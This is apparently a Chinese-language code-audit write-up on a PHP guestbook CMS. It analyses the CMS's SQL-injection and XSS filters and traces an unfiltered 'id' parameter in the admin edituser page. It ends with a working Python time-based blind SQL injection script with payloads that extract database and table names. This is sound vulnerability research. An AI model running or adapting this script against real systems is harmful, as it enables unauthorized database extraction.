0x01 前言

审计是一个漫长而艰难的过程，对于像我一样刚刚入门的萌新来说，希望大家可以耐下心来，认真分析源码，审计漏洞，多多分析已经爆出的cms漏洞，有助于提高自己的能力。

自用代码审计工具：seay源码审计

0x02 对框架的分析

对于代码审计我喜欢先分析配置文件，然后再进入入口进行分析。

如下是定义了一些基本的类，载入了输入库文件和所有的控制器类。实例化了adminlogin类和userrequest类。（这里对后面代码审计有用）

safety.fun.php的代码审计：

防止SQL注入：

先进行了去除斜杠，然后传入的如果不是数字就进行了加引号。

防止xss：

这里直接进行本地测试，进行查看。

判断是否是整数，同时进行了SQL的过滤：

这里比较简单，就是对传入的数字进行了判断，是否在定义的$string_var中，如果在就返回true，如果不在就返回false。如果后面有单引号之类的注入字符，就返回false，所以同时也避免了SQL注入的问题。

0x03 漏洞分析

（1）后台的SQL注入

功能点：

跟进admin/index.php进行分析。
这里先包含了common.php文件，前面分析到，common.php文件进行了两个类的实例化。

这里进行了判断，由于前面贴图，传入的是一个edituser。继续向下查看。

这里看到对以上传入的location进行了判断。由于上面传入的是edituser，所以$location不为空。进行else，然后执行了menu方法

这里跟进一下$AdminControl变量来源。这里实例化了AdminControl类，这里需要注意（实例化类就要执行构造方法哦）

Tip：AdminControl类的构造方法如下：

跟进一下其类下的menu方法，这里就是弹出你用户所对应的权限，由于这里我直接以admin用户测试，所以的话，是个高权限账号，返回的就是adminustrator权限。

这里就是遍历上面的menu找到你所传入的location，然后弹回传入的location，这里弹回的是edituser
然后进行判断，/admin/edituser.Menu.php是否存在，如果存在就进行包含。

这里进入/admin/edituser.Menu.php进行查看。
这里的id，没有进行任何过滤，然后进行了sel方法。

这里跟进sel方法进行查看。传入的变量没有进行任何过滤，导致了SQL注入（这里利用时间盲注）

# -*- coding:utf-8 -*-
'''
作者：mrxiaoqin
基于后台的盲注  
'''
import requests
import time
url="http://127.0.0.1/ZTJmessage/admin/index.php?location=edituser&id="
header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0","Cookie":"PHPSESSID=eke4v1b953niu1gdf9e5hr5gq4"}
i=0
flag=''
while True:
    i=i+1
    head=32
    tail=128
    while head<tail:
        mid=(head+tail)/2
        #payload="-1' or if(ascii(substr((database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
        payload="-1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},sleep(1.5),0)--+".format(i,mid)
        url1=url+payload
        print url1
        times=time.time()
        re=requests.get(url1,headers=header)
        timee=time.time()
        if timee-times>2:
            head=mid+1
        else:
            tail=mid
    if(head!=32):
        flag+=chr(head)
        print flag
    else:
        break